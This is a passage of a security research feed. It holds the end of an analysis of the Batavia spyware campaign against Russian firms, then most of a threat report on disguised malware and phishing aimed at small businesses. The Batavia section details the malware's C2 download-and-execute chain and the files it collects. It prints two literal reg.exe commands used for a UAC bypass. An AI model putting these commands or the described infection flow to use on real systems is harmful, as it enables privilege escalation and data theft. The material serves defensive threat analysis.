<td><code>&i=s</code></td>
<td>Additional URL arguments for sending downloaded file size</td>
</tr>
<tr>
<td>10</td>
<td><code>&i=b</code></td>
<td>Additional URL arguments for sending OS build number</td>
</tr>
<tr>
<td>11</td>
<td><code>&i=re</code></td>
<td>Additional URL arguments for sending error information</td>
</tr>
<tr>
<td>12</td>
<td><code>\winws.txt</code></td>
<td>Empty file that will also be created on the device</td>
</tr>
</tbody>
</table>
<p>By accessing the address <code><strong>https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted]</strong>&dd=d</code>, the script downloads the file <code>WebView.exe</code> (MD5: 5CFA142D1B912F31C9F761DDEFB3C288) and saves it to the <code>%TEMP%</code> directory, then executes it. If the OS version cannot be retrieved or does not match the one obtained from the C2 server, the downloader uses the <code>Navigate()</code> method; otherwise, it uses <code>Run()</code>.</p>
<h2 id="second-stage-of-infection-webview-exe">Second stage of infection: WebView.exe</h2>
<p><code>WebView.exe</code> is an executable file written in Delphi, with a size of 3,235,328 bytes. When launched, the malware downloads content from the link <code><strong>https://oblast-ru[.]com/oblast_download/?file=</strong>1<strong>hc1-[redacted]&view</strong></code> and saves it to the directory <code>C:\Users[username]\AppData\Local\Temp\WebView</code>, after which it displays the downloaded content in its window. At the time of analysis, the link was no longer active, but we assume it originally hosted the fake contract mentioned in the malicious email.</p>
<p>At the same time as displaying the window, the malware begins collecting information from the infected computer and sends it to an address with a different domain, but the same infection ID: <code><strong>https://ru-exchange[.]com/mexchange/?file=</strong>1<strong>hc1-[redacted]</strong></code>. The only difference from the ID used in the VBS script is the addition of the digit 1 at the beginning of the argument, which may indicate the next stage of infection.</p>
<p>The spyware collects several types of files, including various system logs and office documents found on the computer and removable media. Additionally, the malicious module periodically takes screenshots, which are also sent to the C2 server. To avoid sending the same files repeatedly, the malware creates a file named <code>h12</code> in the <code>%TEMP%</code> directory and writes a 4-byte FNV-1a_32 hash of the first 40,000 bytes of each uploaded file. If the hash of any subsequent file matches a value in h12, that file is not sent again.</p>
<table>
<tbody>
<tr>
<td>Type</td>
<td>Full path or mask</td>
</tr>
<tr>
<td>Pending file rename operations log</td>
<td>c:\windows\pfro.log</td>
</tr>
<tr>
<td>Driver install and update log</td>
<td>c:\windows\inf\setupapi.dev.log</td>
</tr>
<tr>
<td>System driver and OS component install log</td>
<td>c:\windows\inf\setupapi.setup.log</td>
</tr>
<tr>
<td>Programs list</td>
<td>Directory listing of c:\program files*</td>
</tr>
<tr>
<td>Office documents</td>
<td>*.doc, *.docx, *.ods, *.odt, *.pdf, *.xls, *.xlsx</td>
</tr>
</tbody>
</table>
<p>In addition, <code>WebView.exe</code> downloads the next-stage executable from <code><strong>https://oblast-ru[.]com/oblast_download/?file=</strong>1<strong>hc1-[redacted]</strong>&de</code> and saves it to <code>%PROGRAMDATA%\jre_22.3\javav.exe</code>. To execute this file, the malware creates a shortcut in the system startup folder: <code>%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp\Jre22.3.lnk</code>. This shortcut is triggered upon the first device reboot after infection, initiating the next stage of malicious activity.</p>
<h2 id="third-stage-of-infection-javav-exe">Third stage of infection: javav.exe</h2>
<p>The executable file <code>javav.exe</code> (MD5: 03B728A6F6AAB25A65F189857580E0BD) is written in C++, unlike <code>WebView.exe</code>. The malicious capabilities of the two files are largely similar; however, <code>javav.exe</code> includes several new functions.</p>
<p>For example, <code>javav.exe</code> collects files using the same masks as <code>WebView.exe</code>, but the list of targeted file extensions is expanded to include these formats:</p>
<ul>
<li>Image and vector graphic: *.jpeg, *.jpg, *.cdr</li>
<li>Spreadsheets: *.csv</li>
<li>Emails: *.eml</li>
<li>Presentations: *.ppt, *.pptx, *.odp</li>
<li>Archives: *.rar, *.zip</li>
<li>Other text documents: *.rtf, *.txt</li>
</ul>
<p>Like its predecessor, the third-stage module compares the hash sums of the obtained files to the contents of the <code>h12</code> file. The newly collected data is sent to <code><strong>https://ru-exchange[.]com/mexchange/?file=</strong>2<strong>hc1-[redacted]</strong></code>.<br />
Note that at this stage, the digit 2 has been added to the infection ID.</p>
<p>Additionally, two new commands appear in the malware’s code: <code>set</code> to change the C2 server and <code>exa/exb</code> to download and execute additional files.</p>
<p>In a separate thread, the malware regularly sends requests to <code><strong>https://ru-exchange[.]com/mexchange/?</strong>set<strong>&file=</strong>2<strong>hc1-[redacted]&data=[xxxx]</strong></code>, where <code>[xxxx]</code> is a randomly generated 4-character string. In response, javav.exe receives a new C2 address, encrypted with a 232-byte XOR key, which is saved to a file named <code>settrn.txt</code>.</p>
<p>In another thread, the malware periodically connects to <code><strong>https://ru-exchange[.]com/mexchange/?</strong>exa<strong>&file=</strong>2<strong>hc1-[redacted]&data=[xxxx]</strong></code> (where <code>[xxxx]</code> is also a string of four random characters). The server responds with a binary executable file, encrypted using a one-byte XOR key <code>7A</code> and encoded using Base64. After decoding and decryption, the file is saved as <code>%TEMP%\windowsmsg.exe</code>. In addition to this, <code>javav.exe</code> sends requests to <code><strong>https://ru-exchange[.]com/mexchange/?</strong>exb<strong>&file=</strong>2<strong>hc1-[redacted]&data=[xxxx]</strong></code>, asking for a command-line argument to pass to <code>windowsmsg.exe</code>.</p>
<p>To launch <code>windowsmsg.exe</code>, the malware uses a UAC bypass technique (<a href="https://attack.mitre.org/techniques/T1548/002/" target="_blank" rel="noopener">T1548.002</a>) involving the built-in Windows utility <code>computerdefaults.exe</code>, along with modification of two registry keys using the reg.exe utility.</p><pre class="urvanov-syntax-highlighter-plain-tag">add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f</pre><p>
</p><pre class="urvanov-syntax-highlighter-plain-tag">add HKCU\Software\Classes\ms-settings\Shell\Open\command /f /ve /t REG_SZ /d "%temp%\windowsmsg.exe <arg>"</pre><p>
At the time of analysis, downloading <code>windowsmsg.exe</code> from the C2 server was no longer possible. However, we assume that this file serves as the payload for the next stage – most likely containing additional malicious functionality.</p>
<h2 id="victims">Victims</h2>
<p>The victims of the Batavia spyware campaign were Russian industrial enterprises. According to our telemetry data, more than 100 users across several dozen organizations received the bait emails.</p>
<div class="js-infogram-embed" data-id="_/AlxpAhyVZESH3D7u5m8i" data-type="interactive" data-title="02-EN-Batavia graphics" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of infections via VBS scripts, August 2024 – June 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223519/batavia-spyware3.png" target="_blank" rel="noopener">download</a>)</em></p>
<h2 id="conclusion">Conclusion</h2>
<p>Batavia is a new spyware that emerged in July 2024, targeting organizations in Russia. It spreads through malicious emails: by clicking a link disguised as an official document, unsuspecting users download a script that initiates a three-stage infection process on their device. As a result of the attack, Batavia exfiltrates the victim’s documents, as well as information such as a list of installed programs, drivers, and operating system components.</p>
<p>To avoid falling victim to such attacks, organizations must take a comprehensive approach to infrastructure protection, employing a suite of security tools that include threat hunting, incident detection, and response capabilities. <a href="https://www.kaspersky.com/enterprise-security/xdr/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team___xdr____ce00c376fedd13b4" target="_blank" rel="noopener">Kaspersky Next XDR Expert</a> is a solution for organizations of all sizes that enables flexible, effective workplace security. It’s also worth noting that the initial infection vector in this campaign is bait emails. This highlights the importance of regular employee training and raising awareness of corporate cybersecurity practices. We recommend specialized courses available on the <a href="https://www.kaspersky.com/small-to-medium-business-security/security-awareness-platform/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team___kasap____44cd4ba77be48d65" target="_blank" rel="noopener">Kaspersky Automated Security Awareness Platform</a>, which help reduce employees’ susceptibility to email-based cyberattacks.</p>
<h2 id="indicators-of-compromise">Indicators of compromise</h2>
<p><strong>Hashes of malicious files</strong><br />
Договор-2025-2.vbe<br />
<a href="https://opentip.kaspersky.com/2963fb4980127adb7e045a0f743ead05/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ba8d7aea9ea7311d&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2963FB4980127ADB7E045A0F743EAD05</a><br />
webview.exe<br />
<a href="https://opentip.kaspersky.com/5cfa142d1b912f31c9f761ddefb3c288/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______70eaa5d495fab437&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">5CFA142D1B912F31C9F761DDEFB3C288</a><br />
javav.exe<br />
<a href="https://opentip.kaspersky.com/03b728a6f6aab25a65f189857580e0bd/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d17d6573529f1af3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">03B728A6F6AAB25A65F189857580E0BD</a></p>
<p><strong>C2 addresses</strong><br />
<a href="https://opentip.kaspersky.com/oblast-ru.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1b0188aa2ca1241e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">oblast-ru[.]com</a><br />
<a href="https://opentip.kaspersky.com/ru-exchange.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5d424599e89e3523&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">ru-exchange[.]com</a></p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/batavia-spyware-steals-data-from-russian-organizations/116866/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/07093411/batavia-featured-image.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/07093411/batavia-featured-image-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/07093411/batavia-featured-image-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/07093411/batavia-featured-image-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>AI and collaboration tools: how cyberattackers are targeting SMBs in 2025</title>
<link>https://securelist.com/smb-threat-report-2025/116830/</link>
<comments>https://securelist.com/smb-threat-report-2025/116830/#respond</comments>
<dc:creator><![CDATA[Kaspersky]]></dc:creator>
<pubDate>Wed, 25 Jun 2025 10:00:12 +0000</pubDate>
<category><![CDATA[Research]]></category>
<category><![CDATA[Adware]]></category>
<category><![CDATA[Malware Statistics]]></category>
<category><![CDATA[Spam Letters]]></category>
<category><![CDATA[Phishing]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Trojan]]></category>
<category><![CDATA[Phishing websites]]></category>
<category><![CDATA[Small and medium-sized business]]></category>
<category><![CDATA[Spam and Phishing]]></category>
<category><![CDATA[Financial threats]]></category>
<category><![CDATA[Potentially Unwanted Applications]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116830</guid>
<description><![CDATA[In its annual SMB threat report, Kaspersky shares insights into trends and statistics on malware, phishing, scams, and other threats to small and medium-sized businesses, as well as security tips.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24201202/SL-SMB-threat-report-2025-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p>Cyberattackers often view small and medium-sized businesses (SMBs) as easier targets, assuming their security measures are less robust than those of larger enterprises. In fact, attacks through contractors, also known as <a href="https://securelist.com/trusted-relationship-attack/112731/" target="_blank" rel="noopener"><em>trusted relationship</em> attacks</a>, remain one of the top three methods used to breach corporate networks. With SMBs generally being less protected than large enterprises, this makes them especially attractive to both opportunistic cybercriminals and sophisticated threat actors.</p>
<p>At the same time, AI-driven attacks are becoming increasingly common, making phishing and malware campaigns easier to prepare and quickly adapt, thus increasing their scale. Meanwhile, cybersecurity regulations are tightening, adding more compliance pressure on SMBs.</p>
<p>Improving your security posture has never been more critical. Kaspersky highlights key attack vectors every SMB should be aware of to stay protected.</p>
<h2 id="how-malware-and-potentially-unwanted-applications-puas-are-disguised-as-popular-services">How malware and potentially unwanted applications (PUAs) are disguised as popular services</h2>
<p>Kaspersky analysts have used data from the Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files and programs are disguised as legitimate applications commonly used by SMBs. The KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by opted-in Kaspersky users. For this research, only data received from the users of Kaspersky solutions for SMBs were analyzed. The research focused on the following applications:</p>
<ul>
<li>ChatGPT</li>
<li>Cisco AnyConnect</li>
<li>Google Drive</li>
<li>Google Meet</li>
<li>DeepSeek</li>
<li>Microsoft Excel</li>
<li>Microsoft Outlook</li>
<li>Microsoft PowerPoint</li>
<li>Microsoft Teams</li>
<li>Microsoft Word</li>
<li>Salesforce</li>
<li>Zoom</li>
</ul>
<p>Between January and April 2025 alone, nearly 8,500 SMB users encountered cyberattacks in which malware or PUAs were disguised as these popular tools.</p>
<p>Among the detected threats, the highest number (1652) of unique malicious and potentially unwanted files mimicked Zoom, the widely used video conferencing platform. This accounted for nearly 41% of all unique files detected, a 14-percentage point increase compared to 2024. Microsoft Office applications remained frequent targets for impersonation: Outlook and PowerPoint each accounted for 16%, Excel for nearly 12%, while Word and Teams made up 9% and 5%, respectively.</p>
<div class="js-infogram-embed" data-id="_/FLO2W3ILcE0BnbH96qOL" data-type="interactive" data-title="01-EN-SMB report graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Share of unique files with names mimicking the nine most popular legitimate applications in 2024 and 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24234859/01-EN-SMB-report-graphs.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>A comparison of the threat landscape in 2024 and 2025 reveals a clear shift: with the growing popularity of AI services, cyberattackers are increasingly disguising malware as various AI tools. According to our analysis, the number of unique malicious files mimicking ChatGPT grew by 115%, reaching 177 in the first four months of 2025. This contributed to a three-percentage-point increase in the tool’s share among the most mimicked applications. DeepSeek, a large language model launched only in 2025, has immediately appeared on the list of impersonated tools.</p>
<p>Another cybercriminal tactic to watch for in 2025 is the growing use of collaboration platform brands to trick users into downloading or launching malware and PUAs. As mentioned above, the share of threats disguised as Zoom increased by 14 percentage points, reaching 1652 unique files, while Microsoft Teams and Google Drive saw increases of over three and one percentage points, respectively, with 206 and 132 cases. This pattern likely reflects the normalization of remote work and geographically distributed teams, which has made these platforms integral to business operations across industries.</p>
<p>Attackers are clearly leveraging the popularity and credibility of these services to increase the success rate of their campaigns.</p>
<table>
<tbody>
<tr>
<td><strong>Malicious file names mimicking popular services </strong></td>
<td><strong>2024</strong></td>
<td><strong>2025</strong></td>
<td>2025 vs 2024</td>
</tr>
<tr>
<td>Zoom</td>
<td>26.24%</td>
<td>40.86%</td>
<td>14.62 p.p.</td>
</tr>
<tr>
<td>Microsoft Teams</td>
<td>1.84%</td>
<td>5.10%</td>
<td>3.25 p.p.</td>
</tr>
<tr>
<td>ChatGPT</td>
<td>1.47%</td>
<td>4.38%</td>
<td>2.9 p.p.</td>
</tr>
<tr>
<td>DeepSeek</td>
<td>0</td>
<td>2.05%</td>
<td>–</td>
</tr>
<tr>
<td>Google Drive</td>
<td>2.11%</td>
<td>3.26%</td>
<td>1.15 p.p.</td>
</tr>
</tbody>
</table>
<p>The total number of unique malicious and unwanted files imitating legitimate applications slightly declined year-over-year, from 5,587 in 2024 to 4,043 in 2025.</p>
<div class="js-infogram-embed" data-id="_/VRiKRd9ttz1j39ETbFvA" data-type="interactive" data-title="02-EN-SMB report graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Main types of threats affecting the SMB Sector, 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235226/02-EN-SMB-report-graphs.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>The top threats targeting SMBs in 2025 included downloaders, Trojans, and adware.</p>
<p>Leading the list are <strong>downloaders</strong>, potentially unwanted applications designed to install additional content from the internet, often without clearly informing the user of what’s being downloaded. While not inherently malicious, these tools are frequently exploited by attackers to deliver harmful payloads to victims’ devices.</p>
<p><strong>Trojans</strong> ranked next. These are malicious programs that carry out unauthorized actions such as deleting, blocking, modifying, or copying data, or disrupting the normal operation of computers and networks. Trojans are among the most prevalent forms of malware, and cyberattackers continue to use them in a wide range of malicious campaigns.</p>
<p>Adware also made the top three list. These programs are designed to display advertisements on infected computers or substitute a promotional website for the default search engine in a browser. Adware often comes bundled with freeware or shareware, effectively serving as the price for using the free software. In some cases, Trojans silently download and install adware onto the victim’s machine.</p>
<p>Among other common types of threats were DangerousObject, Trojan-Dropper, Backdoor, Trojan-Downloader, HackTool, Trojan-PSW, and PSW-Tool. For instance, we recently identified a campaign involving a Trojan-Downloader called “<a href="https://securelist.com/tookps/116019/" target="_blank" rel="noopener">TookPS</a>“, which was distributed through fake websites imitating legitimate remote access and 3D modeling software.</p>
<h2 id="how-scammers-and-phishers-trick-victims-into-giving-up-accounts-and-money">How scammers and phishers trick victims into giving up accounts and money</h2>
<p>We continue to observe a wide range of phishing campaigns and scams targeting SMBs. Attackers aim to steal login credentials for various services, from delivery platforms to banking systems, or manipulate victims into sending them money.</p>
<p>To do this, cyberattackers use a variety of lures, often imitating landing pages from brands commonly used by SMBs. One example is a phishing attempt targeting Google business accounts. The bait lures victims with the promise of promoting their company on X. It requires them to first log in to a dedicated platform using their Google account with credentials that will end up in cyberattackers’ hands.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3.png" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116837" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3.png" alt="" width="1307" height="1090" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3.png 1307w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-300x250.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-1024x854.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-768x640.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-420x350.png 420w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-740x617.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-336x280.png 336w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235324/smb-threat-report3-800x667.png 800w" sizes="auto, (max-width: 1307px) 100vw, 1307px" /></a></p>
<p>Another fake landing page impersonated a bank that offered business loans: a “Global Trust Bank”. Since legitimate organizations with that name exist in multiple countries, this phishing attempt may have seemed believable. The attackers tried to lure users with favorable business loan terms – but only after victims submitted their online banking credentials, giving the criminals access to their accounts.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4.jpg" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116838" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4.jpg" alt="" width="1280" height="960" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4.jpg 1280w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-300x225.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-1024x768.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-768x576.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-200x150.jpg 200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-467x350.jpg 467w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-740x555.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-373x280.jpg 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235355/smb-threat-report4-800x600.jpg 800w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></a></p>
<p>We also saw a range of phishing emails targeting SMBs. In one recent case detected by our systems, the attacker sent a fake notification allegedly from DocuSign, an electronic document-signing service.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5.png" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116839" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5.png" alt="" width="1349" height="976" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5.png 1349w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-300x217.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-1024x741.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-768x556.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-484x350.png 484w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-740x535.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-387x280.png 387w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235432/smb-threat-report5-800x579.png 800w" sizes="auto, (max-width: 1349px) 100vw, 1349px" /></a></p>
<p>SMBs can even find themselves targeted by classic Nigerian scams. In one recent example, the sender claimed to represent a wealthy client from Turkey who wanted to move $33 million abroad to allegedly avoid sanctions, and invited the recipient to handle the funds. In Nigerian scams, fraudsters typically cajole money. They may later request a relatively small payment to a manager or lawyer compared to the amount originally promised.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6.png" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116840" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6.png" alt="" width="1436" height="285" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6.png 1436w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-300x60.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-1024x203.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-768x152.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-740x147.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-1411x280.png 1411w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235511/smb-threat-report6-800x159.png 800w" sizes="auto, (max-width: 1436px) 100vw, 1436px" /></a></p>
<p>Beyond these threats, SMBs are bombarded daily with hundreds of spam emails. Some promise attractive deals on email marketing or loans; others offer services like reputation management, content creation, or lead generation. In general, these offers are crafted to reflect the typical needs of small businesses. Not surprisingly, AI has also made its way into the spam folder – with offers to automate various business processes.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7.png" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116841" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7.png" alt="" width="1856" height="936" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7.png 1856w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-300x151.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-1024x516.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-768x387.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-1536x775.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-694x350.png 694w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-740x373.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-555x280.png 555w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235613/smb-threat-report7-800x403.png 800w" sizes="auto, (max-width: 1856px) 100vw, 1856px" /></a></p>
<p>We have also seen spammers offering dubious deals like purchasing a database of over 400,000 businesses for $100, supposedly to be used for selling the company’s B2B products, or manipulating reviews on a review platform.</p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8.jpg" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116842" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8.jpg" alt="" width="1408" height="921" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8.jpg 1408w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-300x196.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-1024x670.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-768x502.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-535x350.jpg 535w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-740x484.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-428x280.jpg 428w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235758/smb-threat-report8-800x523.jpg 800w" sizes="auto, (max-width: 1408px) 100vw, 1408px" /></a></p>
<p><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9.png" class="magnificImage"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-116843" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9.png" alt="" width="864" height="469" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9.png 864w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-300x163.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-768x417.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-645x350.png 645w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-740x402.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-516x280.png 516w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24235827/smb-threat-report9-800x434.png 800w" sizes="auto, (max-width: 864px) 100vw, 864px" /></a></p>
<h2 id="security-tips">Security tips</h2>
<p>SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. It is essential to implement robust measures such as spam filters, email authentication protocols, and strict verification procedures for financial transactions and the handling of sensitive information.</p>
<p>Another key step toward cyber resilience is promoting awareness about the importance of comprehensive security procedures and ensuring they are regularly updated. Regular security training sessions, strong password practices, and multi-factor authentication can significantly reduce the risk of phishing and fraud.</p>
<p>It is also worth noting that searching for software through search engines is an insecure practice, and should be prohibited in the organization. If you need to implement new tools or replace existing ones, make sure they are downloaded from official sources and installed on a centralized basis by your IT team.</p>
<p><strong>Cybersecurity Action Plan for SMBs</strong></p>
<ol>
<li><strong>Define access rules for corporate resources</strong> such as email accounts, shared folders, and online documents. Monitor and limit the number of individuals with access to critical company data. Keep access lists up to date and revoke access promptly when employees leave the company. Use cloud access security brokers to monitor and control employee activities within cloud services and enforce security policies.</li>
<li><strong>Regularly back up important data</strong> to ensure the preservation of corporate information in case of emergencies or cyberincidents.</li>
<li><strong>Establish clear guidelines for using external services and resources.</strong> Create well-defined procedures for coordinating specific tasks, such as implementing new software, with the IT department and other responsible managers. Develop short, easy-to-understand cybersecurity guidelines for employees, with a special focus on account and password management, email protection, and safe web browsing. A well-rounded training program will equip employees with the knowledge they need and the ability to apply it in practice.</li>
